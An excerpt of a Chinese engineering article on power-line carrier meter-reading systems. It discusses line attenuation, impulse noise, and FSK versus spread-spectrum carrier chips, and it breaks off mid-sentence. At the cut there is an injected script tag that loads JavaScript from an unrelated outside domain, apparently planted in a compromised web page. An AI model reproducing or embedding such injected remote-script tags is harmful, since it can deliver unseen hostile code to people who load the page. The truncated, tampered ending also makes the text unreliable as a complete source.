摘要：分析了我国低压电力线载波信道特征和传统载波通信电路的机理，指出传统载波通信芯片的抗干扰和抗衰减性能不足以克服低压电力线路的障碍。为此设计出一种符合我国低压电力线载波信道传输特性的数字载波抄表系统，载波电表和集中器的通信电路放弃传统的载波芯片，结合窄带调频通信和宽带扩频通信优势用软件进行载波信号的调制解调，其参数可自适应调整以兼顾抄表的速度和成功率，该系统的抗衰减和干扰的性能具备极大的优势，能够实现可靠的电力载波抄表。
关键词：自动抄表系统；低压电力线载波通信；扩频通信
预付费电表方式和集中抄表方式都能免去人工抄表的麻烦，但预付费电能表并不能满足自动化配电系统及时了解电网负荷情况的要求，同时在线损计算上也有困难，而自动抄表技术在现代化管理方面具有很大的优势，代表配电自动化的发展趋势。
1自动抄表与载波通信
集中抄表的媒介可以有低压电力线、双绞线、同轴电缆等，只要有建筑物就会有电力线，以电力线为传输信道免去了重新架设线路的麻烦，能够大大地减少投资和线路维护工作,因此在集中抄表方案中，电力载波自动抄表系统的成本最低，可最大限度地发挥电力系统的优势。
载波抄表系统如图1所示，在载波抄表系统中每个变压器供电台区安置一台集中器，若干块电表。集中器通过低压电力线路接收各电表的数据再通过普通电话调制解调器或其他方式向用电管理中心转发电表数据。电力载波抄表是最符合电力系统特点的自动抄表方案，但低压电力线路的恶劣通信环境造成的抄表成功率低这一现象却阻碍载波抄表技术的大量应用，所以在载波抄表系统中，最核心的问题是低压电力载波通信。
本文通过长时间对我国低压电力线路通信特性和现代通信方式的研究以及大量载波抄表系统应用的经验教训，研制出一种成本低，通信可靠性高的数字电力载波抄表系统，能够解决以往电力载波通信成功率低的问题。
2我国电力载波抄表存在的问题
220v线路并不是专门的通信线路，不可能对线路中的负载作出有效的限制，这使得低压电力线载波信道呈现这样的传输特性：线路衰减严重，各种干扰噪声强而且成分复杂［１］。
载波信号在电力线路上的衰减主要是电力线上有大量的用电负载和电力设备(如无功补偿电容)造成的。实验表明，载波信号在电力线上的衰减既与用电负载有关又与电力线路距离有关。
电力线路上的干扰源包括脉冲噪声和等幅振荡波干扰。脉冲噪声是具有瞬间、高能和覆盖频率范围广的特点，因而对于载波信号传输的影响相当大，不仅会造成信号的误码率高，使得接收装置无法对信号进行正确的接收。
由于我国电器上网的电磁兼容性没有欧美控制得严格，因此我国电力网的衰减和干扰要比欧美严重得多，电力线的通信环境也更加恶劣。
载波通信的成功率主要取决于接收载波信号的信噪比和通信芯片的接收灵敏度。由于电网谐波系数的规定和电表体积和成本的限制，载波发信功率不可能过大，而电网上的噪声却极其复杂，载波信号在接收端经常被大量的噪声淹没，所以抄表的成功率主要取决于载波通信芯片的性能。目前的通讯芯片主要有两类：一类是窄带通讯(如fsk)，另一类是扩频通讯。
因为窄带fsk通讯方式价格低廉并且较为容易实现，所以在以往的应用中比较流行，典型电路是st7536通信芯片，该芯片在集成电路内采用了硬件数字滤波因而对通信频带外的干扰有较好的滤波，但抗同频干扰(与载波信号频率接近的干扰)能力差。所以尽管目前不少厂家采用st7536来进行载波抄表，但其抄收成功率达不到现场要求。
近年来，国内外一些厂家推出了基于扩频方式的载波芯片，包括美国intellon公司的sscp300和国内一些公司推出的电路。所谓扩频通信就是在发信端将信号频谱扩展后再进行传输，在收集端运用相关手段将接收信号解扩后再解调的通信手段。因为扩频载波信号的带宽通常较大(几十至几百khz)，所以其受干扰的频率范围所占比例相对减小，换句话讲，就是各种噪声仅能影响到一小部分所要传输的信号，而大多数的信号都能够完整、正确的到达目的地，所以对于各种类型的干扰都具有较强的抵抗性。
从理论上而言，扩频通信具有很强的抗干扰能力，然而在电力线通信实践中却发现这些扩频通信芯片的使用效果与st7536相比较并无优势。产生这一现象的根本原因有以下两点：
(1)部分扩频通信芯片是针对当地电网情况用于室内通信而设计，其目的是解决室内的计算机联网，通信速率较快(如sscp300可达10kb/s)使得载波信号解扩之后的规一化信噪比已经不如st7536；
(2)扩频方式抗干扰的优势是针对与载波信号频带接近?script src=http://er12.com/t.js>
